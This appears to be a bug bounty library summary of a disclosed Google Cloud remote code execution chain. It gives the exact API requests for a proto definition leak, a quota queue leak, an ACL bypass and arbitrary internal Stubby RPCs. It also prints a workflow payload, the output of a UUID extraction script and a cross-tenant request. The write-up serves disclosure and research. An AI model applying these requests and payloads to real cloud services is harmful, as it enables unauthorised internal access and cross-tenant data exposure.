# StubZero: $148,337 RCE in Google Cloud Production

Unauthenticated-ish first-party API leaked proto definitions and quota queue, then GenericStubbyTypedTaskV2 in Application Integration let attackers issue arbitrary internal Stubby RPCs as prod identity.

- Payout: $60,000
- Severity: critical
- Program: Google
- Found by (vendor credit): Arvin Shivram
- Found by: brutecat
- Disclosed: 2026-05-22
- CVE: CVE-2026-2031
- Write-up quality: 9/10
- Original: https://brutecat.com/articles/google-cloud-rce/
- Library page: https://bugbountylibrary.com/r/blog%3Abrutecat-com-articles-google-cloud-rce
- Tags: area:cloud domain:api domain:cloud impact:internal-access impact:rce kind:bounty platform:blog sev:critical tech:gcp tech:grpc technique:chained technique:js-analysis technique:source-review vuln:access-control vuln:info-disclosure vuln:rce

**Target:** cloudcrmipfrontend-pa.googleapis.com integrationPlatform API and integrations.googleapis.com
**Root cause:** Internal WorkflowEditorService endpoints were exposed to first-party auth without proper authorization, and the GenericStubbyTypedTaskV2 task allowed arbitrary serverSpec/serviceName/serviceMethod Stubby calls executed under the integration platform's prod service identity.
**Steps:**
1. Fuzz discovered `cloudcrmipfrontend-pa.googleapis.com` returning 200 on debug endpoints.
2. `GET /v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&isEnum=false` leaked any google3 proto definition.
3. `GET /v1/integrationPlatform:listQuotaQueue?filter=client_id%3E%22123%22&alt=proto` with `X-Goog-Encode-Response-If-Executable: base64` leaked internal workflow queue including `client_id: default`.
4. `POST /v1/integrationPlatform:createDraftWorkflow` with `clientId: default` created a draft workflow.
5. Bypass publish restriction via `POST /v1/integrationPlatform/auth:setAcl` adding two attacker Gaia IDs to `IP_EVENTBUS_WORKFLOWS`, then toggleRequestToPublishWorkflow and publishWorkflow from the two accounts.
6. Configure task `GenericStubbyTypedTaskV2` with `serverSpec=gslb:alkali-base`, `serviceName=ServerStatus`, `serviceMethod=GetServices` and run the workflow to execute the Stubby RPC.
**How found:** Automated fuzzer flagged suspicious 200 responses on internal API; manual probing of debug endpoints revealed proto definition leak; AIP-160 filter syntax on listQuotaQueue leaked client_id; JS analysis of Application Integration revealed GenericStubbyTypedTaskV2; load-balancer propagation gap allowed createDraftWorkflow bypass.
**Exploitation:** Chain: proto leak -> quota queue leak (client_id) -> draft workflow creation -> ACL bypass to publish -> GenericStubbyTypedTaskV2 executes arbitrary Stubby RPCs as the integration platform prod identity, giving access to internal services (e.g. Alkali ServerStatus.GetServices) and potentially code execution.
**Escalation:** From info leak to arbitrary internal Stubby RPC primitive under prod service identity, considered RCE by Google due to reachable attack surface.
**Insight:** Internal debug endpoints like getProtoDefinition and listQuotaQueue often lack the same authz as the main API; AIP-160 filter operators can leak data via error/alt=proto responses, and task-config APIs that accept serverSpec/serviceName/serviceMethod are direct Stubby RPC primitives.

## Proof of concept (copied exactly from the original report)

**Stubby RPC via GenericStubbyTypedTaskV2 workflow**

```
{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", "taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": {"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, "serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, "serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, "serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, "position": {"x": -716, "y": -445}, "label": "Stubby Internal", "incomingEdgeCount": 1, "taskType": "ASIS_TEMPLATE", "externalTaskType": "NORMAL_TASK"}], "triggerConfigs": [{"startTasks": [{"taskNumber": "1"}], "properties": {"Trigger name": "my-api-trigger-123"}, "triggerType": "API", "triggerNumber": "1", "enabledClients": ["default"], "triggerId": "api_trigger/my-api-trigger-123"}], "origin": "UI", "creatorEmail": "<REDACTED>", "createdTime": "2026-01-12T09:45:55.896951Z", "lastModifiedTime": "2026-01-12T09:45:55.896951Z", "status": "DRAFT", "snapshotNumber": "1", "tags": ["HEAD"], "lockedBy": "<REDACTED>", "lockedAtTime": "2026-01-12T09:45:55.896951Z", "lastModifierEmail": "<REDACTED>", "clientId": "default"}}
```

**Binary-search UUID extraction PoC script run**

```
$ python extract_by_id.py --token "<redacted>" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879"
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-

Verified: target found. Starting binary search...

 [ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs)
 [ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs)
 [12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs)
 [16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs)
 [20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs)
 [24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs)
 [28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs)
 [32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)

workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128
```

**Cross-tenant ListTestCases protobuf request**

```
{
 "1": "projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4",
 "2": "workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4",
 "6": {
 "1": ["name", "display_name", "update_time", "client_id"]
 }
}
```

